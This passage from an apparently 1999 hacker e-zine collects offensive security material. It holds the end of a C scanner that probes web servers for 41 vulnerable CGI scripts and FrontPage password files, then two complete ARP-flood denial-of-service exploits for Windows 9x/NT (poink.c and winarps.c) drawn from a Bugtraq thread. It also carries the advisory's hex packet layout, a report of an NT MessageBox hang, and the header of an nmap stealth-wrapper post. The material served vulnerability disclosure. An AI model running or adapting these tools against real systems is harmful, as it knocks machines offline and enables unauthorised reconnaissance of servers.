        buff[12] = "GET /cgi-bin/htmlscript HTTP/1.0\n\n";
        buff[13] = "GET /cgi-bin/pfdispaly.cgi HTTP/1.0\n\n";
        buff[14] = "GET /cgi-bin/perl.exe HTTP/1.0\n\n";
        buff[15] = "GET /cgi-bin/wwwboard.pl HTTP/1.0\n\n";
        buff[16] = "GET /cgi-bin/www-sql HTTP/1.0\n\n";
        buff[17] = "GET /cgi-bin/view-source HTTP/1.0\n\n";
        buff[18] = "GET /cgi-bin/campas HTTP/1.0\n\n";
        buff[19] = "GET /cgi-bin/aglimpse HTTP/1.0\n\n";
        buff[20] = "GET /cgi-bin/man.sh HTTP/1.0\n\n";
        buff[21] = "GET /cgi-bin/AT-admin.cgi HTTP/1.0\n\n";
        buff[22] = "GET /cgi-bin/filemail.pl HTTP/1.0\n\n";
        buff[23] = "GET /cgi-bin/maillist.pl HTTP/1.0\n\n";
        buff[24] = "GET /cgi-bin/jj HTTP/1.0\n\n";
        buff[25] = "GET /cgi-bin/info2www HTTP/1.0\n\n";
        buff[26] = "GET /cgi-bin/files.pl HTTP/1.0\n\n"; 
        buff[27] = "GET /cgi-bin/finger HTTP/1.0\n\n";
        buff[28] = "GET /cgi-bin/bnbform.cgi HTTP/1.0\n\n";
        buff[29] = "GET /cgi-bin/survey.cgi HTTP/1.0\n\n";
        buff[30] = "GET /cgi-bin/AnyForm2 HTTP/1.0\n\n";
        buff[31] = "GET /cgi-bin/textcounter.pl HTTP/1.0\n\n";
        buff[32] = "GET /cgi-bin/classifieds.cgi HTTP/1.0\n\n";
        buff[33] = "GET /cgi-bin/environ.cgi HTTP/1.0\n\n";
        buff[34] = "GET /_vti_pvt/service.pwd HTTP/1.0\n\n";
        buff[35] = "GET /_vti_pvt/users.pwd HTTP/1.0\n\n";
        buff[36] = "GET /_vti_pvt/authors.pwd HTTP/1.0\n\n";
        buff[37] = "GET /_vti_pvt/administrators.pwd HTTP/1.0\n\n";
        buff[38] = "GET /cgi-dos/args.bat HTTP/1.0\n\n";
        buff[39] = "GET /cgi-win/uploader.exe HTTP/1.0\n\n";
        buff[40] = "GET /search97.vts HTTP/1.0\n\n";
        buff[41] = "GET /carbo.dll HTTP/1.0\n\n";
       
        cginame[1] = "UnlG - backd00r";
        cginame[2] = "phf            ";
        cginame[3] = "Count.cgi      ";
        cginame[4] = "test-cgi       ";
        cginame[5] = "nph-test-cgi   ";
        cginame[6] = "php.cgi        ";
        cginame[7] = "handler        ";
        cginame[8] = "webgais        ";
        cginame[9] = "websendmail    ";
        cginame[10] = "webdist.cgi    ";
        cginame[11] = "faxsurvey      ";
        cginame[12] = "htmlscript     ";
        cginame[13] = "pfdisplay      ";
        cginame[14] = "perl.exe       ";
        cginame[15] = "wwwboard.pl    ";
        cginame[16] = "www-sql        ";
        cginame[17] = "view-source    ";
        cginame[18] = "campas         ";
        cginame[19] = "aglimpse       ";
        cginame[20] = "man.sh         ";
        cginame[21] = "AT-admin.cgi   ";
        cginame[22] = "filemail.pl    ";
        cginame[23] = "maillist.pl    ";
        cginame[24] = "jj             ";
        cginame[25] = "info2www       ";
        cginame[26] = "files.pl       ";
        cginame[27] = "finger         ";
        cginame[28] = "bnbform.cgi    ";
        cginame[29] = "survey.cgi     ";
        cginame[30] = "AnyForm2       ";
        cginame[31] = "textcounter.pl ";
        cginame[32] = "classifields.cgi";
        cginame[33] = "environ.cgi    ";
        cginame[34] = "service.pwd    ";
        cginame[35] = "users.pwd      ";
        cginame[36] = "authors.pwd    ";
        cginame[37] = "administrators.pwd";
        cginame[38] = "args.bat       ";
        cginame[39] = "uploader.exe   ";
        cginame[40] = "search97.vts   ";
        cginame[41] = "carbo.dll      ";
       
        if (argc<2)
          {
          printf("\n [-- CGI Checker 1.3. Modified by su1d sh3ll //UnlG  --]");
          printf("\nusage : %s host ",argv[0]);
          printf("\n   Or : %s host -d   for debug mode\n\n",argv[0]); 
          exit(0);
          }
       
        if (argc>2)
          {
          if(strstr("-d",argv[2]))
            {
            debugm=1;
            }
          }
       
        if ((he=gethostbyname(argv[1])) == NULL)
          {
          herror("gethostbyname");
          exit(0);
          }
       
        printf("\n\n\t [CKS & Fdisk]'s CGI Checker - modify by su1d sh3ll 07.043.99\n\n\n");
        start=inet_addr(argv[1]);
        counter=ntohl(start);
       
          sock=socket(AF_INET, SOCK_STREAM, 0);
          bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
          sin.sin_family=AF_INET;
          sin.sin_port=htons(80);
       
         if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
            {
            perror("connect");
            }
          printf("\n\n\t [ Press any key to check out the httpd version...... ]\n");
          getchar(); 
          send(sock, "HEAD / HTTP/1.0\n\n",17,0);
          recv(sock, buffer, sizeof(buffer),0);
          printf("%s",buffer);
          close(sock); 
          printf("\n\t [ Press any key to search 4 CGI stuff...... ]\n");
          getchar();
          
       while(count++ < 41)    /* huh! 41 cgi..... no secur1ty in th1s w0rld ;-)*/
          {
          sock=socket(AF_INET, SOCK_STREAM, 0);
          bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
          sin.sin_family=AF_INET;
          sin.sin_port=htons(80);
          if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
            {
            perror("connect");
            }
          printf("Searching for %s : ",cginame[count]);
         
          for(numin=0;numin < 1024;numin++)
             {
             cgibuff[numin] = '\0';
             } 
         
          send(sock, buff[count],strlen(buff[count]),0);
          recv(sock, cgibuff, sizeof(cgibuff),0);
          cgistr = strstr(cgibuff,foundmsg);
          if( cgistr != NULL)
              printf("Found !! ;)\n");
          else
              printf("Not Found\n");
             
         if(debugm==1)
           { 
           printf("\n\n ------------------------\n %s \n ------------------------\n",cgibuff); 
           printf("Press any key to continue....\n");         getchar();
           }  
          close(sock);
          }
          printf("...have a nice hack... ;-)\n");
        }
       
       @HWA       
       
 29.0  poink.c new win9x/nt arp table exploit DoS
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
       Date: Tue, 13 Apr 1999 11:25:34 -0700
       From: route@RESENTMENT.INFONEXUS.COM
       To: BUGTRAQ@netspace.org
       Subject: Re: ARP problem in Windows9X/NT
       
       [kay wrote]
       |
       | Could you be more specific with those XX-fields ?
       
           The source ethernet address appears to be arbitrary.  The destination
           ethernet address needs to be either the address of the target host, or
           a broadcast address.
       
       | I started writing that proggie with plain syscalls, but it would only run
       | on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
       | the stuff. I haven't tested it yes since I don't have LAN at home...
       
           Didn't test your code.  Rolled my from the same libnet example, and it
           does work against NT and 95/98.
       
       | For those who are still wondering what the hell Libnet is: check out
       | http://www.infonexus.com/~demon9
       
           My site has moved temporarily to http://lazy.accessus.net/~route.
           Libnet is hosted there for the time being
           (http://lazy.accessus.net/~route/Libnet) but will move to
           http://www.packetfactory.net when I get that site up.
       
           For those of you who don't know, Libnet is a library for portable
           injection.  It is the `libpwrite` analog to libpcap.  I suppose this is
           as good a time as any to announce the release of version 0.99 which adds
           a lot of new functionality and fixes a few bugs.
       
           Oh yah.  Here's poink.  Poink-poink!
       
       /*
        *  $Id$
        *
        *  poink.c - NT/9x DOS attack
        *
        *  Code:
        *  Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
        *                         route|daemon9 <route@infonexus.com>
        *  All rights reserved.
        *
        *  Original Idea:
        *  Joel Jacobson (joel@mobila.cx)
        *
        *  This simple exploit was written as per the specification from Joel
        *  Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
        *
        *  Needs libnet 0.99.
        *  Currently:  http://lazy.accessus.net/~route/libnet
        *  Soon:       http://www.packetfactory.net/
        *
        *  gcc poink.c -o poink -lnet
        *
        * Redistribution and use in source and binary forms, with or without
        * modification, are permitted provided that the following conditions
        * are met:
        * 1. Redistributions of source code must retain the above copyright
        *    notice, this list of conditions and the following disclaimer.
        * 2. Redistributions in binary form must reproduce the above copyright
        *    notice, this list of conditions and the following disclaimer in the
        *    documentation and/or other materials provided with the distribution.
        *
        * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
        * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
        * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
        * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
        * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
        * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
        * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
        * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
        * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
        * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
        * SUCH DAMAGE.
        *
        */
       
       #include <libnet.h>
       
       u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
       u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
       
       int send_arp(struct link_int *, u_long, u_char *);
       void usage(u_char *);
       
       int
       main(int argc, char *argv[])
       {
           int c, amount;
           char errbuf[256];
           char *device = NULL;
           struct link_int *l;
           u_long ip;
       
           amount = 20;
           while ((c = getopt(argc, argv, "n:i:")) != EOF)
           {
               switch (c)
               {
                   case 'i':
                       device = optarg;
                       break;
                   case 'n':
                       amount = atoi(optarg);
                       break;
                   default:
                       exit(EXIT_FAILURE);
               }
           }
       
           if (!device)
           {
               usage(argv[0]);
               exit(EXIT_FAILURE);
           }
       
           if (argc <= optind)
           {
               usage(argv[0]);
               exit(EXIT_FAILURE);
           }
           else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
           {
               fprintf(stderr, "Cannot resolve IP address\n");
               exit(EXIT_FAILURE);
           }
       
           l = libnet_open_link_interface(device, errbuf);
           if (!l)
           {
               fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
               exit(EXIT_FAILURE);
           }
       
           while (amount--)
           {
               c = send_arp(l, ip, device);
               if (c == -1)
               {
                   /* bail on the first error */
                   break;
               }
           }
           printf("\n");
           return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
       }
       
       
       int
       send_arp(struct link_int *l, u_long ip, u_char *device)
       {
           int n;
           u_char *buf;
       
           if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
           {
               perror("libnet_init_packet memory:");
               exit(EXIT_FAILURE);
           }
       
           /*
            *  Ethernet header
            */
           libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
       
           /*
            *  ARP header
            */
           libnet_build_arp(ARPHRD_ETHER,
               ETHERTYPE_IP,
               6,
               4,
               ARPOP_REQUEST,
               enet_src,
               (u_char *)&ip,
               enet_dst,
               (u_char *)&ip,
               NULL,
               0,
               buf + ETH_H);
       
           n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);
       
           fprintf(stderr, ".");
       
           libnet_destroy_packet(&buf);
           return (n);
       }
       
       
       void
       usage(u_char *name)
       {
           fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
       }
       
       
       --
       I live a world of paradox... My willingness to destroy is your chance for
       improvement, my hate is your faith -- my failure is your victory, a victory
       that won't last.
       
       @HWA      
       
 29.1  winarps.c
       ~~~~~~~~~
       
       Date: Tue, 13 Apr 1999 11:23:29 +0300
       From: kay <kay@PHREEDOM.ORG>
       To: BUGTRAQ@netspace.org
       Subject: Re: ARP problem in Windows9X/NT
       Parts/Attachments:
          1 Shown     71 lines  Text
          2   OK    ~3.3 KB     Text, ""
       ----------------------------------------
       
       Hya,
       
       Could you be more specific with those XX-fields ?
       
       I started writing that proggie with plain syscalls, but it would only run
       on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
       the stuff. I haven't tested it yes since I don't have LAN at home...
       
       Compile with:
         cc winarp.c -o winarp -lnet
       Usage:
         ./winarp [-i device] [-c count] -d destination
       
       For those who are still wondering what the hell Libnet is: check out
       http://www.infonexus.com/~demon9
       
       --
       kay@phreedom.org
       AD80 0D6A 5286 2729 5D2F  6326 D3F8 C61A 93F4 4C48                   xuniL
       DA FA 10 7D  6A 05 45 11  37 E1 E1 2B  B4 34 2E 83                   Zelur
       
       On Mon, 12 Apr 1999, Joel Jacobson wrote:
       
       > Hello all bugtraqers!
       >
       > I've found a problem in Windows9X/NT's way of handeling ARP packets.
       >
       > If you flood a computer at your LAN with the packet below, it's user
       > will be forced to click a messagebox's OK button x times, where x is the number
       > of packets you flooded with.
       >
       > I advice Microsoft to develope a patch for this problem, that let you
       > choose to ignore all future messages of this type.
       >
       > There is no way to trace the flooder since the MAC address in the
       > packet can be modified to anything. Bad configurated routers will
       > not drop this packet. When I tested this problem on my LAN I could
       > flood a computer on another C-net at my LAN without problems.
       >
       > The program NetXRay was used to preform the flood.
       > The victims had to reboot their computer, or choose to click _very_
       > many OK buttons.
       >
       > The ARP packet is build up like this:
       >
       > Ethernet Version II:
       >  Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF
       >  Ehternet II Protocol Type: ARP
       > Address Resolution Protocol:
       >  Hardware Type: 1 (Ethernet)
       >  Protocol Type: 800
       >  Hardware Address: Length: 6
       >  Protocol Address: Length: 4
       >  Operations: ARP Request
       >  Source Hardware Address: XX-XX-XX-XX-XX-XX
       >  IP Source Address: <victim computer's IP>
       >  Destination Hardware Address: XX-XX-XX-XX-XX-XX
       >  IP Destination Address: <victim computer's IP>
       >
       > And in HEX the packet look like this:
       > ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00
       > 00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX
       > (XX is what matters here)
       >
       > Hope a patch for this problem will be developed fast, cause this is a
       > big problem for my school and probably also to others.
       >
       > I'm not a C programmer, and don't know how to write an exploit for
       > this problem. So, if anyone else can develope an exploit, feel free to do so.
       >
       > Joel Jacobson.
       
           [ Part 2, ""  Text/PLAIN (Name: "winarp.c")  71 lines. ]
       
       /*
        *  Copyright (c) 1998, 1999 route|daemon9 <route@infonexus.com>
        *  All rights reserved.
        * 
        *  Modified to winarps.c 1999 by kay <kay@phreedom.org> 
        *
        * Redistribution and use in source and binary forms, with or without
        * modification, are permitted provided that the following conditions
        * are met:
        * 1. Redistributions of source code must retain the above copyright
        *    notice, this list of conditions and the following disclaimer.
        * 2. Redistributions in binary form must reproduce the above copyright
        *    notice, this list of conditions and the following disclaimer in the
        *    documentation and/or other materials provided with the distribution.
        *
        * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
        * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
        * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
        * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
        * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
        * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
        * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
        * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
        * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
        * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
        * SUCH DAMAGE.
        *
        */
       
       #include <libnet.h>
       
       u_char enet_src[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
       u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
       u_long ip_dst = 0;
       
       void send_arp(struct link_int *, u_char *);
       
       #if (__linux__)
       #define  IPOPT_SECURITY  130
       #endif
       
       int main(int argc, char *argv[])
       {
          int c, count = 1;
          char errbuf[256];
          char *device = NULL;
          char *address = NULL;
          struct link_int *l;
       
          while ((c = getopt(argc, argv, "i:d:c:")) != EOF) {
             switch (c) {
             case 'i':
                device = optarg;
                break;
             case 'd':
                address = optarg;
                ip_dst = name_resolve(address, 0);
                break;
             case 'c':
                count = atoi(optarg);
                break;
             default:
                exit(EXIT_FAILURE);
             }
          }
       
          if (!device) {
             fprintf(stderr, "Specify a device\n");
             exit(EXIT_FAILURE);
          }
          if (!ip_dst) {
             fprintf(stderr, "Specify destination\n");
             exit(EXIT_FAILURE);
          }
          if ((l = open_link_interface(device, errbuf)) == NULL) {
             fprintf(stderr, "open_link_interface: %s\n", errbuf);
             exit(EXIT_FAILURE);
          }
          send_arp(l, device);
          exit(EXIT_SUCCESS);
       }
       
       
       void send_arp(struct link_int *l, u_char * device)
       {
          int n;
          u_char *buf;
       
          buf = (u_char *) malloc(ARP_H + ETH_H);
          if (!buf) {
             perror("no packet memory");
             exit(EXIT_FAILURE);
          }
          memset(buf, 0, ARP_H + ETH_H);
       
          build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
          build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST, enet_src,
                    (void *)&ip_dst, enet_dst, (void *)&ip_dst, NULL, 0, buf + ETH_H);
          n = write_link_layer(l, device, buf, ARP_H + ETH_H);
       
          printf("Wrote %d byte ARP packet through linktype %d\n", n, l->linktype);
       }
       
       
       -----------------------------------------------------------------------------------
       
       Date: Tue, 13 Apr 1999 12:13:17 +0300
       From: kay <kay@PHREEDOM.ORG>
       To: BUGTRAQ@netspace.org
       Subject: Re: ARP problem in Windows9X/NT
       
       Forgot something:
       
       In winarp.c
       
           77        exit(EXIT_FAILURE);
           78     }
       +++ 79     for ( ; count <= 0; count--)
           80        send_arp(l, device);
           81     exit(EXIT_SUCCESS);
       
       --
       kay@phreedom.org
       AD80 0D6A 5286 2729 5D2F  6326 D3F8 C61A 93F4 4C48                   xuniL
       DA FA 10 7D  6A 05 45 11  37 E1 E1 2B  B4 34 2E 83                   Zelur
       
       
       @HWA      
       
 29.2  The new win arp bug - original message
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Date: Mon, 12 Apr 1999 13:59:54 +0200
       From: Joel Jacobson <joel@mobila.cx>
       To: BUGTRAQ@netspace.org
       Subject: ARP problem in Windows9X/NT
       
       Hello all bugtraqers!
       
       I've found a problem in Windows9X/NT's way of handeling ARP packets.
       
       If you flood a computer at your LAN with the packet below, it's user
       will be forced to click a messagebox's OK button x times, where x is the number
       of packets you flooded with.
       
       I advice Microsoft to develope a patch for this problem, that let you
       choose to ignore all future messages of this type.
       
       There is no way to trace the flooder since the MAC address in the
       packet can be modified to anything. Bad configurated routers will
       not drop this packet. When I tested this problem on my LAN I could
       flood a computer on another C-net at my LAN without problems.
       
       The program NetXRay was used to preform the flood.
       The victims had to reboot their computer, or choose to click _very_
       many OK buttons.
       
       The ARP packet is build up like this:
       
       Ethernet Version II:
        Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF
        Ehternet II Protocol Type: ARP
       Address Resolution Protocol:
        Hardware Type: 1 (Ethernet)
        Protocol Type: 800
        Hardware Address: Length: 6
        Protocol Address: Length: 4
        Operations: ARP Request
        Source Hardware Address: XX-XX-XX-XX-XX-XX
        IP Source Address: <victim computer's IP>
        Destination Hardware Address: XX-XX-XX-XX-XX-XX
        IP Destination Address: <victim computer's IP>
       
       And in HEX the packet look like this:
       ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00
       00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX
       (XX is what matters here)
       
       Hope a patch for this problem will be developed fast, cause this is a
       big problem for my school and probably also to others.
       
       I'm not a C programmer, and don't know how to write an exploit for
       this problem. So, if anyone else can develope an exploit, feel free to do so.
       
       Joel Jacobson.
       
       ----------------------------------------------------------------------------------
       
       Date: Tue, 13 Apr 1999 11:44:12 +0200
       From: Joel Jacobson <joel@mobila.cx>
       To: BUGTRAQ@netspace.org
       Subject: Answer to some questions I got about the ARP "bug"
       
       Hi.
       
       In the message I sent to BugTraq, XX XX XX XX is the victim's IP
       Address, in HEX.
       
       Example:
       If you want to flood IP 192.168.0.1 at your network you would enter
       this hex value: C0 A8 00 01
       
       (I tought this was obvious)
       
       Regards, Joel.
       
       ----------------------------------------------------------------------------------
       
       Date: Tue, 13 Apr 1999 11:55:01 +0200
       From: Joel Jacobson <joel@mobila.cx>
       To: BUGTRAQ@netspace.org
       Subject: Re: ARP problem in Windows9X/NT
       Parts/Attachments:
          1 Shown     20 lines  Text (charset: ISO-8859-1)
          2   OK     202 bytes  Application
       ----------------------------------------
       
           [ The following text is in the "ISO-8859-1" character set. ]
           [ Your display is set for the "US-ASCII" character set.  ]
           [ Some characters may be displayed incorrectly. ]
       
       Hello Gandalf,
       
       måndag, 12 april 1999, you wrote:
       
       gpc> Perhaps I am doing it wrong, but sending out arp requests like this only
       gpc> generates a single messagebox.  If you send one or a million requests in
       gpc> the time it takes to click ok, no new messageboxes will appear.
       
       gpc> This is on NT4 sp4.
       Okey. Well, I tested this on a friend that run NT, don't know if he
       has sp4 installed or not. But still, the problems exist in Windows98,
       and if Microsoft has developed a fix for NT, why can't they release
       one for Windows98 too?
       
       gpc> The packet I am sending out seems a tad different from the one listed,
       gpc> the hex dump above seems to be missing the hardware address type.
       I've attached an example.
       This packet will attack the computer 192.168.0.1 on your network.
       
       Best regards,
        Joel                            mailto:joel@mobila.cx
           [ Part 2, Application/OCTET-STREAM (Name: "example.cap")  270bytes. ]
           [ Not Shown. Use the "V" command to view or save this part. ]
       
       ----------------------------------------------------------------------------------
       
       Date: Tue, 13 Apr 1999 13:21:46 -0700
       From: route@RESENTMENT.INFONEXUS.COM
       To: BUGTRAQ@netspace.org
       Subject: Re: ARP problem in Windows9X/NT
       
       [gandalf@pobox.com wrote]
       |
       | Unfortunetly i don't have a 98 to test on, or an non sp4 NT machines.  For
       
           I do.  It works against Windows 98.
       
       | BTW, this is all from linux 2.2.5.
       
           I've tried it from OpenBSD 2.4, FreeBSD 3.1 and Linux 2.2.x.
       
       --
       I live a world of paradox... My willingness to destroy is your chance for
       improvement, my hate is your faith -- my failure is your victory, a victory
       that won't last.
       
       ----------------------------------------------------------------------------------
       
       Date: Tue, 13 Apr 1999 15:49:22 -0400
       From: Alan DeKok <alan@CRYPTOCARD.COM>
       To: BUGTRAQ@netspace.org
       Subject: Re: ARP problem in Windows9X/NT
       
       route@RESENTMENT.INFONEXUS.COM wrote:
       >     Didn't test your code.  Rolled my from the same libnet example, and it
       >     does work against NT and 95/98.
       
         I tested yours against a number of machines at work.  Summary:
       
         NT4 sp3 displays one requestor.  While it's on-screen, any
       additional ARP packets are ignored.  Clicking 'OK', and then sending
       more packets results in another requestor.
       
         95/98 displays one requestor per packet.
       
         Alan DeKok.
       
       ----------------------------------------------------------------------------------
       
       Date: Tue, 13 Apr 1999 11:07:53 -0400
       From: gandalf@POBOX.COM
       To: BUGTRAQ@netspace.org
       Subject: Re: ARP problem in Windows9X/NT
       
       On Tue, 13 Apr 1999 route@RESENTMENT.INFONEXUS.COM wrote:
       > [kay wrote]
       > | I started writing that proggie with plain syscalls, but it would only run
       > | on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
       > | the stuff. I haven't tested it yes since I don't have LAN at home...
       >
       >     Didn't test your code.  Rolled my from the same libnet example, and it
       >     does work against NT and 95/98.
       
       Your code, humerously enough, was almost exactly the same as mine, I was
       even using libnet.  However neither your code nor mine causes more than
       one messagebox to appear on my NT4 sp4 machine.
       
       I actually tried this a month or two ago, and gave up since it seemed to
       have no effect on NT, I swear at the time I tested 95 and 98 too.  Looking
       at it again, both your code and mine _do_ have the multi-messagebox effect
       on a 95B machine,
       
       Unfortunetly i don't have a 98 to test on, or an non sp4 NT machines.  For
       those who have gotten it to work on NT, what sp level was NT at?
       BTW, this is all from linux 2.2.5.
       
       -chris
       
       _______________________________________________________
       Christopher Rogers      Stevens Institute of Technology
       gandalf@pobox.com       http://www.pobox.com/~gandalf
       
       If at first you do succeed, try to hide your astonishment.
       
       
       @HWA
       
         
             
       
 30.0  NT Message box DoS 
       ~~~~~~~~~~~~~~~~~~
       
       Date:   Sun, 11 Apr 1999 22:50:25 +0200 
       Reply-To:   chefren <chefren@PI.NET> 
       Sender:   Windows NT BugTraq Mailing List <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM> 
       From:   chefren <chefren@PI.NET> 
       Subject:   Death by MessageBox 
       In-Reply-To:   <3710D929.D6E46401@dds.nl> 
       
       .. 
       
       > -------- Original Message -------- 
       > "NT hangs when several threads are calling MessageBox" 
       > 
       > Date: Fri, 9 Apr 1999 13:23:45 -0400 
       > From: "Sumner, Jeff" <sumner@bassinc.com> 
       > Organization: OARnet 
       > Newsgroups: microsoft.public.win32.programmer.kernel 
       > 
       > Hello, 
       > 
       > We have a server app that has several clients attached to it. When 
       > certain conditions happen on a client, the server app spawns a new 
       > thread that simply calls MessageBox. The thread is created so the main 
       > server thread can still be processing when the message box is displayed. 
       > We have found that when 16 of these threads are created, NT pretty much 
       > hangs until a few of the message boxes are closed. 
       > 
       > I have written a test program to recreate this, and have noticed the 
       > exact same behavior. The test program is a console app that takes an 
       > integer parameter for the number of message boxes to pop up. I ran this 
       > test app while I have the NT performance monitor up. Any number up to 
       > 15 works fine, but as soon as I specify 16 or higher, the task manager 
       > stops dead cold until a couple of the message boxes (and subsequent 
       > threads) are closed. The code for the test program is less than 3K, so 
       > I've included it here. 
       > 
       > <<MessageBoxTest.cpp>> 
       > I have figured something out since I posted the message. The 
       > MB_SERVICE_NOTIFICATION flag given to MessageBox is causing the problem. 
       > This flag allows an NT service to display a message box, regardless of 
       > who is logged in. The box will still display even if nobody is logged 
       > in. However, NT does not like the 16th box at all. 
       > 
       > If I take this flag out, then each message box is created with its own 
       > window, and each one appears in the task bar, but only if the "Allow 
       > Service to Interact with Desktop" option is enabled for the service 
       > under Control Panel | Services. In this case, NT performs fine when 
       > more than 15 message boxes are specified, but no message boxes will be 
       > displayed if nobody is logged in. 
       > 
       > So, to make the long story short, I am thinking that there is a bug in 
       > NT that causes windows messages to not be processed correctly when 
       > MB_SERVICE_NOTIFICATION is used and the 16th window is popped up. 
       > 
       > Another thing we have tried is scrapping the multithreading and 
       > MessageBox altogether and just making a system call to execute "net send 
       > <machinename> <message>", which causes the message to pop up in a window 
       > on the specified machine (as long as the NT Messenger service is 
       > running). The drawback to this is that it appears that the messenger 
       > service only accepts 6 messages at a time. All others get dropped on 
       > the floor until one or more of the first 6 are closed. 
       > 
       > Does anybody have any insights? They would be greatly appreciated. 
       > 
       > Thanks for your time. 
       > 
       > Jeff Sumner 
       > BASSpoiNT Development 
       > BASS, Inc. 
       > sumner@bassinc.com 
       
       
       
       We "tested" it and it "works"... 
       
       +++chefren
       
       --------------------------------------------------------------------------------
       
       Date:   Mon, 12 Apr 1999 13:08:55 +0200 
       Reply-To:   chefren <chefren@PI.NET> 
       Sender:   Windows NT BugTraq Mailing List <NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM> 
       From:   chefren <chefren@PI.NET> 
       Subject:   Re: Death by MessageBox 
       Comments:   cc: oded horovitz <odedh@mucom.co.il> 
       In-Reply-To:   <000a01be84b8$40691530$26d873c0@oded.mucom.co.il> 
       
       
       
       On 12 Apr 99, at 10:44, oded horovitz wrote: 
       
       > Hi, I think i know the solution to your problem :) 
       > 
       > cuze you didn't gave the source for your problem i can 
       > only guess your problem. 
       > 
       > check this key : 
       > HKLM\SYSTEM\CurrentControlSet\Control\Session 
       > Manager\SubSystems\Windows 
       
       > the default data for this key : 
       > %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows 
       > SharedSection=1024,3072,1024 Windows=On 
       > SubSystemType=Windows ServerDll=basesrv,1 
       > ServerDll=winsrv:UserServerDllInitialization,3 
       > ServerDll=winsrv:ConServerDllInitialization,2 
       > ProfileControl=Off MaxRequestThreads=16 
       > 
       > so i guess that if u change this value it may solve your 
       > problem. if it do works, notify me please and you can 
       > post it to bugtraq. hope it helps 
       
       > Oded h. 
       
       
       
       We checked this obscure and largely invisible[0] part of the registry... 
       Indeed, if you set MaxRequestThreads=5 the system halts at 5 messageboxes.
       It's an ajustable
       bug... 
       
       We didn't distribute the source or the .exe intentionally... 
       
       +++chefren 
       
       [0] I have a dual 1280x1024 desktop and just found a minor bug in regedit.exe.
       Even with such a wide desktop I cannot oversee the data of the above key, only about
       216 (strange number, I counted just once...) characters appear while I have enough 
       space on my desktop. Double clicking on the separation mark in the header of the
       registry editor automatically adjusts the column size as expected but not to the 
       right size but this strange 216 size. Manually widening doesn't show any more. 
       
       
       @HWA      
       
 31.0  nmap wrapper for stealthier scans + enhanced logging capabilities
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
       
       Date: Mon, 12 Apr 1999 12:43:55 -0500
       From: HD Moore <nlog@ings.com>
       To: nmap-hackers@insecure.org
       Subject: nwrap -- nmap stealth wrapper
       Parts/Attachments:
          1 Shown     34 lines  Text
          2 Shown    171 lines  Text
       ----------------------------------------
       
